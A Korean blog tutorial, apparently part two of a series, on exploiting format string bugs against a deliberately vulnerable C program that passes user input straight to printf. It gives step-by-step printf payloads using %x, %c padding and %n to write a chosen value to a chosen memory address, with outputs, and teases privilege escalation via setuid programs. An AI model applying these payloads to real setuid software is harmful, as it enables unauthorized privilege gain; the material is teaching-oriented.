저번시간에는 FSB의 기본적인 사항과 전재조건등을 알아보았다.
오늘은 실전에 적용하여 취약프로그램의 소스를 검토하여 FSB를 적용하여보도록 하자.
※ 실전 FSB !!!
취약 프로그램의 어택방법의 이해를 돕기위해서 BOF에서부터 유용하게 써먹은 dumpcode.h 를 구하도록 하자. dumpcode.h는 ohhara님 께서 만드신 헤더이다..구하는 장소는 PLUS 홈페이지를 참조하자. (PLUS : 포항공대 유닉스 보안 동아리)
다음은 mainsource newbie15번 문제를 변형한것이다.
우리는 임의의주소(0xbffffa6b)에 우리가 원하는 값(임의로 0xbffffb30 )를 넣는 방법을 알아보도록 하겠다.
//test6.c
#include <stdio.h>
#include "dumpcode.h"
main()
{ char put[50];
fgets(put,49,stdin);
printf(put);
dumpcode((char*)0xbffffa6b,4);
}
$./test6
leon
leon
0xbffffa6b bf fc ab bf ....
해당주소에 bf fc ab bf (0xbfabfcbf) 값이 들어있는것을 볼수가 있다.
이값을 30 fb ff bf (0xbffffb30)으로 변경해보도록 하자.
1. 입력한 값의 위치 찾기
우선 우리가 입력한 것의 위치를 찾아야 한다.
그래야 그것을 통하여 해당주소에 덮어쓸수가 있기 때문이다.
$./test6
AAAA%x%x%x%x
AAAA4f4013994040016ab041414141
0xbffffa6b bf fc ab bf ....
다행이 4번째에 우리가 넣은 AAAA값(16진수 41414141)이 나왔다.(- 이경우 실제로는 첫번째 %x에서 AAAA값이 나오게됩니다, 또한 gcc2.95이상의 컴파일버젼에서는 상당히 뒤쪽에 나오기도합니다. 여기서는 설명을 위해서 4번째에 나오는걸로 가정하겠습니다. -)
2. 메모리값 넣기..
다음은 해당 자리에 메모리값을 넣는과정을 살펴보도록하자.
메모리값으로 입력해야 함으로 perl 이나 printf의 함수를 사용하여 해당프로그램에 입력하여야 한다.
$(printf "\x41\x41\x41\x41%%x%%x%%x%%x";cat)|./test6
AAAA4f4013994040016ab041414141
0xbffffa6b bf fc ab bf ....
위의 실행결과는 "AAAA"를 메모리화 시켜서 입력한것이다. %%x는 파이프연결로 인해 %x와 동일한 효과를 준다.
그럼 이번에는 진짜 메모리값을 넣어보도록 하자.
$(printf "\x6b\xfa\xff\xbf%%x%%x%%x%%x";cat)|./t6
k??f4013994040016ab0bffffa6b
0xbffffa6b bf fc ab bf ....
즉 메모리값으로 원하는 위치에 정확히 들어가는것을 확인하였다...
3. %c사용으로 주소자리 맟추기
이번에는 입력하는 변수의 값과 메모리값을 동시에 입력하여 원하는 위치에 원하는 값이 나오도록 해보자.
$(printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfaxff\xbf%%8x%%8x%%8x%%c%%x%%c%%x";cat)|./test6
AAAAk?풞AAAm?? 4f4013994040016ab0Abffffa6bAbffffa6d
0xbffffa6b bf fc ab bf ....
%c에 의하여 앞의 AAAA값이 대입대고 그후 메모리값이 %x에 의해 출력되는것을 볼수 있다.
그럼 다됬당...이번에는 %x대신 %n 값을 넣고 실행해보자..
4. %n을 통한 해당주소에 값넣기
$ (printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf%%8x%%8x%%8x%%c%%n%%c%%n";cat)|./t6
AAAAk?풞AAAm?? 4f4013994040016ab0AA
0xbffffa6b 29 00 2a 00 ).*.
자!! %n을 넣고 실행해본결과 타겟주소의 값이 변경된것을 볼수 있다..
0xbffffa6b 29 00 2a 00 ).*.
즉, %n앞의 써진 문자의 갯수(4+4+4+4+8+8+8+1 = 41 = hex : 29)가 해당주소에 덮어써진것이다.
※여기서 \x41\x41\x41\x41 / \x6b\xfa\xff\xbf / \x41\x41\x41\x41 / \x6d\xfa\xff\xbf / %%8x / %%8x / %%8x / %%c / 순서대로 4+4+4+4+8+8+8+1 이다..%%x앞에 8을 넣은 이유는 %x의 값에 의해 출력되는 문자가 최대 8자이며 그보다 적은 수가 나올수도 있으므로 아예 8자로 맞춘것이다.
첫번째 %n이후 두번째 %n은 "%n%c"에 의해 2문자가 증가 함으로 29 + 2 = 2a 가 된다.
이제 모든것이 끝났당...앞장에서 공부 했듯이 %c에 적당한 숫자를 넣어서 우리가 원하는 값을 넣어보도록 하자.
우리가 넣고자 하는 값은 30 fb ff bf (0xbffffb30) 이므로 첫번째 숫자를 계산한 값은
fb30(64304) - 0029(41) = 64263 에 +1 을 한 값이다.
※ +1 을 한 이유는 %c 에 의해 1이 증가 했기 때문이다.
$ (printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf%%8x%%8x%%8x%%64264c%%n%%c%%n";cat)|./t6
~
~
중략
~
~AA
0xbffffa6b 30 fb 31 fb 0.1.
첫번째 값이 나왔다..원하는 30 fb
두번째 값도 같은 방법으로 계산하면
$ (printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf%%8x%%8x%%8x%%64264c%%n%%50383c%%n";cat)|./t6
~
~A
중략
~
~A
0xbffffa6b 30 fb ff bf 0...
드뎌 정확히 우리가 원하는 값을 원하는 메모리 번지에 집어 넣게 되었다..
※ 장황하게 설명 되었으나, FSB의 핵심과 그 공격 방법을 알아보았다. 이 글을 읽는 분들 중에는 취약프로그램이 suid bit로 되어있다면 그담은 어떻게 FSB를 사용해야서 권한을 획득해야 하는지 눈치를 쳇을 것이당^^.
담 시간에는 실제 suid bit의 프로그램을 이용하여 권한을 획득하는 과정을 공부 해보도록 하자.
------------------------------------------------> To be Continued -. hackerleon
'Hacking&Security > System' 카테고리의 다른 글
hunt 설치 관련 (0) | 2008.12.27 |
---|---|
Format String Bug-3 by hackerleon (0) | 2008.02.14 |
Format String Bug-1 by hackerleon (0) | 2008.02.14 |